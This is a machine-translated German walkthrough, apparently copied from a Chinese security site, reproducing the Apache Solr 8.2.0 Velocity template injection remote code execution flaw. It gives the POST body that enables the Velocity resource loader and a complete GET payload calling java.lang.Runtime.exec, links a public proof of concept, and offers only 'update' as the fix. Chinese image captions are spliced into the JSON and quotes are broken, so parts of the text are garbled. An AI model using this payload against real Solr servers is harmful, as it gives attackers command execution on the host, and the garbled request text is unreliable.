Heim  >  Artikel  >  Betrieb und Instandhaltung  >  Beispielanalyse der RCE-Schwachstelle durch Apache Solr-Velocity-Template-Injection

Beispielanalyse der RCE-Schwachstelle durch Apache Solr-Velocity-Template-Injection

WBOY
WBOYnach vorne
2023-05-19 10:37:13922Durchsuche

0x01 Einführung

Solr ist ein unabhängiger Suchanwendungsserver auf Unternehmensebene, der externe Dienste über die Webdienst-API-Schnittstelle bereitstellen kann. Benutzer können XML-Dateien in einem bestimmten Format über http-Anfragen an den Suchmaschinenserver senden, um Indizes zu generieren. Sie können auch Suchanfragen über HTTP-Get-Vorgänge stellen und Ergebnisse im XML-Format erhalten. 0x02 Einführung in die Sicherheitslücke Die Sicherheitsanfälligkeit bezüglich der Remote-Befehlsausführung durch Velocity-Vorlageninjektion wird ausgenutzt. Die Sicherheitsanfälligkeit kann direkt an Serverberechtigungen gelangen. 0x03 Einflussbereich Adresse: Apache Solr velocity模板注入RCE漏洞的示例分析

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

Entpacken Sie nach dem Herunterladen die Datei und geben Sie dann das bin-Verzeichnis ein, um sie auszuführen. /solr startunzip solr- 8.2.0.zip

Während des Startvorgangs werden einige Warnmeldungen angezeigt. Wir können sie beseitigen, indem wir die Datei solr.in.sh unter bin ändern und SOLR_ULIMIT_CHECKS auf false setzenvim solr .in.sh Installation

Aber ich habe festgestellt, dass Core nicht erstellt werden kann

Wir erstellen zuerst manuell einen Ordner „new_core“ im Verzeichnis /server/solr/ und kopieren dann das Verzeichnis „conf“ unter /server/solr/configsets/_default/ in das Verzeichnis „new_core“. und klicken Sie dann auf Erstellen

0x05-Schwachstellenwiederkehr

Besuchen Sie nach dem Erstellen des Kerns, um zu sehen, ob auf die Anwendungskonfigurationsdatei zugegriffen werden kann

http://ip:8983/solr/new_core/config

Apache Solr integriert standardmäßig das VelocityResponseWriter-Plug-in. Der Standardwert von params.resource.loader.enabled im Plug-in-Initialisierungsparameter ist auf „false“ gesetzt, aber die Integrationseinstellungen können direkt über eine POST-Anfrage geändert werden, die auf „true“ gesetzt ist Anschließend kann eine spezielle GET-Anfrage erstellt werden, um eine Remotecodeausführung zu erreichen. Apache Solr velocity模板注入RCE漏洞的示例分析

Verwenden Sie Burp, um das Paket dieser Seite abzurufen, erstellen Sie direkt eine POST-Anfrage und fügen Sie die folgenden Daten hinzu

{

"update-queryresponsewriter": {

Apache Solr velocity模板注入RCE漏洞的示例分析 "startup": "lazy",

"name" : „velocity“ ,Apache Solr velocity模板注入RCE漏洞的示例分析

„class“: „solr.VelocityResponseWriter“,

Apache Solr velocity模板注入RCE漏洞的示例分析 „template.base.dir“: „“,

„solr.resource.loader.enabled“: „true“,Apache Solr velocity模板注入RCE漏洞的示例分析

„params .resource.loader .enabled": "true"

Apache Solr velocity模板注入RCE漏洞的示例分析}

}

Als nächstes können wir die Nutzlast zur Implementierung von RCE konstruieren

Nutzlast:

Apache Solr velocity模板注入RCE漏洞的示例分析http://ip:8983/solr/test/select ?q= 1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27)) +%23set ($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+% 23set($ ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[ 1.. $out.available()])$str.valueOf($chr.toChars($out.read()))%23end

POC-Adresse: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06-Korrekturmethode

Aktualisieren Sie auf die neueste Version

Das obige ist der detaillierte Inhalt vonBeispielanalyse der RCE-Schwachstelle durch Apache Solr-Velocity-Template-Injection. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen